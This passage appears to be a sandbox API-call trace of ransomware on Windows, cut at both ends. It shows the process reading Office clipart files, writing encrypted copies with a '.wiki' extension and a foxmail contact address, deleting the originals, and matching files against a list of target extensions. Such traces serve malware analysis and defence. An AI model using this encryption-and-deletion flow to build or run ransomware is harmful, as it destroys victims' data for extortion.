office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.022] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.022] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0199.023] GetLastError () returned 0x0 [0199.023] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x3198, lpOverlapped=0x0) returned 1 [0199.186] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x31a0, lpOverlapped=0x0) returned 1 [0199.197] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.197] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.197] SetEndOfFile (hFile=0x1e0) returned 1 [0199.197] CloseHandle (hObject=0x1e0) returned 1 [0199.197] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.197] SetEndOfFile (hFile=0x220) returned 1 [0199.198] CloseHandle (hObject=0x220) returned 1 [0199.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf")) returned 1 [0199.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0199.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0199.198] lstrlenW (lpString=".doc") returned 4 [0199.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.199] lstrlenW (lpString=".docx") returned 5 [0199.199] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0199.199] lstrlenW (lpString=".pdf") returned 4 [0199.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.199] lstrlenW (lpString=".xls") returned 4 [0199.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.199] lstrlenW (lpString=".xlsx") returned 5 [0199.199] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0199.199] lstrlenW (lpString=".ppt") returned 4 [0199.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0199.199] lstrlenW (lpString=".zip") returned 4 [0199.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.199] lstrlenW (lpString=".rar") returned 4 [0199.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.199] lstrlenW (lpString=".bz2") returned 4 [0199.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.199] lstrlenW (lpString=".7z") returned 3 [0199.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0199.199] lstrlenW (lpString=".dbf") returned 4 [0199.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0199.199] lstrlenW (lpString=".1cd") returned 4 [0199.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0199.199] lstrlenW (lpString=".jpg") returned 4 [0199.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0199.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0199.200] lstrlenW (lpString=".doc") returned 4 [0199.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.200] lstrlenW (lpString=".docx") returned 5 [0199.200] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0199.200] lstrlenW (lpString=".pdf") returned 4 [0199.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.200] lstrlenW (lpString=".xls") returned 4 [0199.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.200] lstrlenW (lpString=".xlsx") returned 5 [0199.200] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0199.200] lstrlenW (lpString=".ppt") returned 4 [0199.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0199.200] lstrlenW (lpString=".zip") returned 4 [0199.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.200] lstrlenW (lpString=".rar") returned 4 [0199.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.200] lstrlenW (lpString=".bz2") returned 4 [0199.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.200] lstrlenW (lpString=".7z") returned 3 [0199.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0199.200] lstrlenW (lpString=".dbf") returned 4 [0199.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0199.200] lstrlenW (lpString=".1cd") returned 4 [0199.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0199.200] lstrlenW (lpString=".jpg") returned 4 [0199.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.201] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0199.201] lstrlenW (lpString="J0178632.JPG") returned 12 [0199.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.201] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=23338) returned 1 [0199.201] CloseHandle (hObject=0x220) returned 1 [0199.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg")) returned 0x20 [0199.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.201] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.201] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0199.202] GetLastError () returned 0x0 [0199.202] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x5b2a, lpOverlapped=0x0) returned 1 [0199.204] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x5b30, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x5b30, lpOverlapped=0x0) returned 1 [0199.205] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.205] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.205] SetEndOfFile (hFile=0x1e0) returned 1 [0199.206] CloseHandle (hObject=0x1e0) returned 1 [0199.206] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.206] SetEndOfFile (hFile=0x220) returned 1 [0199.206] CloseHandle (hObject=0x220) returned 1 [0199.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg")) returned 1 [0199.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0199.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0199.207] lstrlenW (lpString=".doc") returned 4 [0199.207] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.207] lstrlenW (lpString=".docx") returned 5 [0199.207] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0199.207] lstrlenW (lpString=".pdf") returned 4 [0199.207] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.207] lstrlenW (lpString=".xls") returned 4 [0199.207] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.207] lstrlenW (lpString=".xlsx") returned 5 [0199.207] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0199.207] lstrlenW (lpString=".ppt") returned 4 [0199.207] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0199.207] lstrlenW (lpString=".zip") returned 4 [0199.207] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.207] lstrlenW (lpString=".rar") returned 4 [0199.207] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.207] lstrlenW (lpString=".bz2") returned 4 [0199.207] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.207] lstrlenW (lpString=".7z") returned 3 [0199.208] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0199.208] lstrlenW (lpString=".dbf") returned 4 [0199.208] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0199.208] lstrlenW (lpString=".1cd") returned 4 [0199.208] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0199.208] lstrlenW (lpString=".jpg") returned 4 [0199.208] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0199.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0199.208] lstrlenW (lpString=".doc") returned 4 [0199.208] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.208] lstrlenW (lpString=".docx") returned 5 [0199.208] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0199.208] lstrlenW (lpString=".pdf") returned 4 [0199.208] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.208] lstrlenW (lpString=".xls") returned 4 [0199.208] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.208] lstrlenW (lpString=".xlsx") returned 5 [0199.208] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0199.208] lstrlenW (lpString=".ppt") returned 4 [0199.208] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0199.208] lstrlenW (lpString=".zip") returned 4 [0199.208] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.208] lstrlenW (lpString=".rar") returned 4 [0199.208] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.208] lstrlenW (lpString=".bz2") returned 4 [0199.208] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.209] lstrlenW (lpString=".7z") returned 3 [0199.209] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0199.209] lstrlenW (lpString=".dbf") returned 4 [0199.209] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0199.209] lstrlenW (lpString=".1cd") returned 4 [0199.209] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0199.209] lstrlenW (lpString=".jpg") returned 4 [0199.209] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.209] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0199.209] lstrlenW (lpString="J0178639.JPG") returned 12 [0199.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.210] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=32038) returned 1 [0199.210] CloseHandle (hObject=0x220) returned 1 [0199.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg")) returned 0x20 [0199.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.210] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.210] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0199.210] GetLastError () returned 0x0 [0199.210] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x7d26, lpOverlapped=0x0) returned 1 [0199.213] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x7d30, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7d30, lpOverlapped=0x0) returned 1 [0199.214] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.214] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.214] SetEndOfFile (hFile=0x1e0) returned 1 [0199.214] CloseHandle (hObject=0x1e0) returned 1 [0199.214] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.214] SetEndOfFile (hFile=0x220) returned 1 [0199.215] CloseHandle (hObject=0x220) returned 1 [0199.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg")) returned 1 [0199.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0199.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0199.216] lstrlenW (lpString=".doc") returned 4 [0199.216] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.216] lstrlenW (lpString=".docx") returned 5 [0199.216] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0199.216] lstrlenW (lpString=".pdf") returned 4 [0199.216] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.216] lstrlenW (lpString=".xls") returned 4 [0199.216] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.216] lstrlenW (lpString=".xlsx") returned 5 [0199.216] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0199.216] lstrlenW (lpString=".ppt") returned 4 [0199.216] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0199.216] lstrlenW (lpString=".zip") returned 4 [0199.216] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.216] lstrlenW (lpString=".rar") returned 4 [0199.216] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.216] lstrlenW (lpString=".bz2") returned 4 [0199.216] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.216] lstrlenW (lpString=".7z") returned 3 [0199.216] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0199.216] lstrlenW (lpString=".dbf") returned 4 [0199.216] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0199.216] lstrlenW (lpString=".1cd") returned 4 [0199.216] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0199.216] lstrlenW (lpString=".jpg") returned 4 [0199.217] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0199.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0199.217] lstrlenW (lpString=".doc") returned 4 [0199.217] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.217] lstrlenW (lpString=".docx") returned 5 [0199.217] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0199.217] lstrlenW (lpString=".pdf") returned 4 [0199.217] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.217] lstrlenW (lpString=".xls") returned 4 [0199.217] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.217] lstrlenW (lpString=".xlsx") returned 5 [0199.217] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0199.217] lstrlenW (lpString=".ppt") returned 4 [0199.217] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0199.217] lstrlenW (lpString=".zip") returned 4 [0199.217] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.217] lstrlenW (lpString=".rar") returned 4 [0199.217] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.217] lstrlenW (lpString=".bz2") returned 4 [0199.217] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.217] lstrlenW (lpString=".7z") returned 3 [0199.217] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0199.217] lstrlenW (lpString=".dbf") returned 4 [0199.217] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0199.217] lstrlenW (lpString=".1cd") returned 4 [0199.217] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0199.217] lstrlenW (lpString=".jpg") returned 4 [0199.217] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.218] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0199.218] lstrlenW (lpString="J0178932.JPG") returned 12 [0199.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.218] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=35340) returned 1 [0199.218] CloseHandle (hObject=0x220) returned 1 [0199.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg")) returned 0x20 [0199.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.218] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.219] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft 